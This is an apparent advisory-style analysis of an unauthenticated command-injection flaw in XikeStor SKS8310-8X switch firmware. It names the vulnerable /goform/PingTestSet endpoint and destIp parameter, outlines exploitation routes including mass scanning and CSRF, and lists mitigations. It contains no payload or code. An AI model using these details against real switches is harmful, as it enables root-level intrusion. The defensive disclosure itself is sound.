Comprehensive Technical Analysis of EUVD-2026-10092
1. Vulnerability Assessment and Severity Evaluation
The vulnerability EUVD-2026-10092 affects the XikeStor SKS8310-8X Network Switch firmware versions 1.04.B07 and prior. It is classified as an OS command injection vulnerability, which allows unauthenticated remote attackers to execute arbitrary operating system commands. The severity of this vulnerability is rated with a CVSS Base Score of 9.3, indicating a critical risk. The CVSS vector (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) highlights the following key attributes:
- Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low (L) - The attack requires minimal skill or resources.
- Privileges Required (PR): None (N) - No authentication is required to exploit the vulnerability.
- User Interaction (UI): None (N) - No user interaction is required.
- Confidentiality (VC): High (H) - Complete loss of confidentiality.
- Integrity (VI): High (H) - Complete loss of integrity.
- Availability (VA): High (H) - Complete loss of availability.
2. Potential Attack Vectors and Exploitation Methods
The primary attack vector is through the /goform/PingTestSet endpoint, where attackers can inject malicious commands via the destIp parameter. This allows for remote code execution (RCE) with root privileges. Potential exploitation methods include:
- Direct Command Injection: Attackers can send specially crafted HTTP requests to the vulnerable endpoint, injecting commands that the system will execute with root privileges.
- Automated Scripts: Malicious actors can use automated scripts to scan for vulnerable devices and exploit them en masse.
- Phishing and Social Engineering: Attackers may trick users into visiting malicious websites that exploit the vulnerability through cross-site request forgery (CSRF).
3. Affected Systems and Software Versions
The vulnerability affects the following:
- Product: XikeStor SKS8310-8X Network Switch
- Firmware Versions: 1.04.B07 and prior
4. Recommended Mitigation Strategies
To mitigate the risk associated with this vulnerability, the following strategies are recommended:
- Firmware Update: Immediately update the firmware to a version that addresses this vulnerability.
- Network Segmentation: Isolate network switches from public-facing networks to limit exposure.
- Access Controls: Implement strict access controls and firewall rules to restrict access to the management interfaces of the network switches.
- Monitoring and Logging: Enable comprehensive logging and monitoring to detect and respond to any suspicious activities.
- Intrusion Detection Systems (IDS): Deploy IDS to monitor for unusual network traffic patterns that may indicate an exploitation attempt.
5. Impact on European Cybersecurity Landscape
The vulnerability poses a significant risk to the European cybersecurity landscape, particularly for organizations and critical infrastructure that rely on network switches for their operations. The potential for unauthenticated remote code execution with root privileges can lead to:
- Data Breaches: Unauthorized access to sensitive data.
- Service Disruptions: Compromised network switches can be used to disrupt services.
- Lateral Movement: Attackers can use compromised switches to move laterally within a network, escalating their privileges and accessing other critical systems.
